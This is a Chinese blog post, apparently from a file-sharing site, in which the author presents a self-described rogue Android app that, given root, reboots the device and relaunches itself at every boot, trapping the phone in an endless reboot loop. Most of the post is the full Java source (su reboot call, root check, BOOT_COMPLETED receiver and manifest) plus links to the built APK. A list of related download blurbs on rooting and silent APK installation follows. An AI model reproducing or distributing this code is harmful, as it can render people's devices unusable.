闲来无事,编写了一个小小的流氓软件,无限重启android设备,但由于android的权限问题使得需要获取设备的root权限。
本app设计,涉及知识点1.调用系统shell里的reboot命令 2.检查系统是否Root 3.监听开机通知,使apk开机运行
重启代码:
String cmd = "su -c reboot";
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
// TODO Auto-generated catch block
new AlertDialog.Builder(this).setTitle("Error").setMessage(
e.getMessage()).setPositiveButton("OK", null).show();
}
判断系统是否获得root权限:
TextView tv = (TextView)findViewById(R.id.whetherRoot);
if(!isRooted()) {
tv.setText("本机没有Root!\n如需继续使用本软件请自行Root!");
}
public DataInputStream Terminal(String command) throws Exception {
Process process = Runtime.getRuntime().exec("su");
// 执行到这,Superuser会跳出来,选择是否允许获取最高权限
OutputStream outstream = process.getOutputStream();
DataOutputStream DOPS = new DataOutputStream(outstream);
InputStream instream = process.getInputStream();
DataInputStream DIPS = new DataInputStream(instream);
String temp = command + "\n";
// 加回车
DOPS.writeBytes(temp);
// 执行
DOPS.flush();
// 刷新,确保都发送到outputstream
DOPS.writeBytes("exit\n");
// 退出
DOPS.flush();
process.waitFor();
return DIPS;
}
public boolean isRooted() {
// 检测是否ROOT过
DataInputStream stream;
boolean flag = false;
try {
stream = Terminal("ls /data/");
// 目录哪都行,不一定要需要ROOT权限的
if (stream.readLine() != null)
flag = true;
// 根据是否有返回来判断是否有root权限
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
return flag;
}
监视开机通知:
(android开机事件会发送一个叫做Android.intent.action.BOOT_COMPLETED的广播信息。只要我们接收这个action并在receiver中启动我们自己的程序就可以实现了。)
设置一个receiver接收系统发出的广播消息
StartupReceiver.java
public class StartupReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
Intent i = new Intent(context, RebootActivity.class);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//将intent以startActivity传送给操作系统
context.startActivity(i);
}
}
然后在AndroidManifest.xml中添加(receiver部分)
AndroidManifest.xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="mzz.startup"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".Hello"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".StartupReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
</manifest>
这样启动了一次该程序之后,以后开机就会自动启动该程序了。
重启apk文件:http://115.com/file/dpvmy8yo#Reboot.apk
工程文件:http://115.com/file/c2a3bjh9#Reboot.zip Android 2.1下编译运行通过
如共享到期,不能下载请留言。
分享到:
相关推荐
android apk获取root权限方法总结
赋予ANDROID模拟器root权限需要的资源 cmwrap.apk su Superuser.apk 详解: http://hi.baidu.com/glaivelee/blog/item/ed12187f36d1d71229388aba.html
Android的静默安装似乎是一个很有趣很诱人的东西,但是,用普通做法,如果手机没有root权限的话,似乎很难实现静默安装,因为Android并不提供显示的Intent调用,一般是通过以下方式安装apk: Intent intent = new ...
使用Android5.0的环境编译的,不同版本之间,aidl文件可能会有差异,具体还需参照Android系统源码。详细参考我的博客文章《Android 无需root实现APK静默安装》:...
安卓终端模拟器,绿色无广告,最好用的android shell This is the final version that includes support for Android 1.5 "Cupcake": Term-1.0.65.apk Note: This application used to be named "Android Terminal ...
APK获取root权限工具,包含signapk.jar platform.x509.pem platform.pk8
通过系统root权限实现android系统的静默安装以及安装成功后自动重启
Windows版本 Android Apk签名工具
给apk添加root权限需用到的软件
然后解压并安装APK软件里的Superuser.apk,接着解压出来Root.bat到电脑双击运行,按提示操作,操作完后手机会自动重启,重启后机器就得到ROOT权限了,这样你能删除手机内置的一些没用软件,只要你照做就能成功。
(android for img.rar、Android SU文件更新包.zip、RootExplorer.apkSuperuser.apk) 1、用android for img.rar里的android for img.exe打开 E:\SDK\platforms\android-8\images\system.img,进入app文件夹, 添加...
Android 获取apk声明的权限列表
安卓android apk 反编译步骤 。亲自实现总结,决不是粘贴复制
unity打包安卓实现安卓...使用方法:把"安卓开机自动.arr"文件导入到unity项目中,手机重启后等待1-2分钟该应用即可自己打开。之前的在安卓10上没效果,修改了下。适用于安卓10版本。注意:需要在安卓10里手动把权限开启
Android一个apk 启动另外一个apk文件
给apk添加root权限需用到的软件 给apk添加root权限需用到的软件
安装apk,在android上可以像linux中一样输入命令,实现ping baidu.com等功能。也可以使用adb shell等。授权root需要根据手机实际需要而定。
给apk添加root权限需用到的软件
支持ANDROID 破解提权 手机直接ROOT
该存储库托管世界上最小的Android APK。 APK的当前大小是820字节。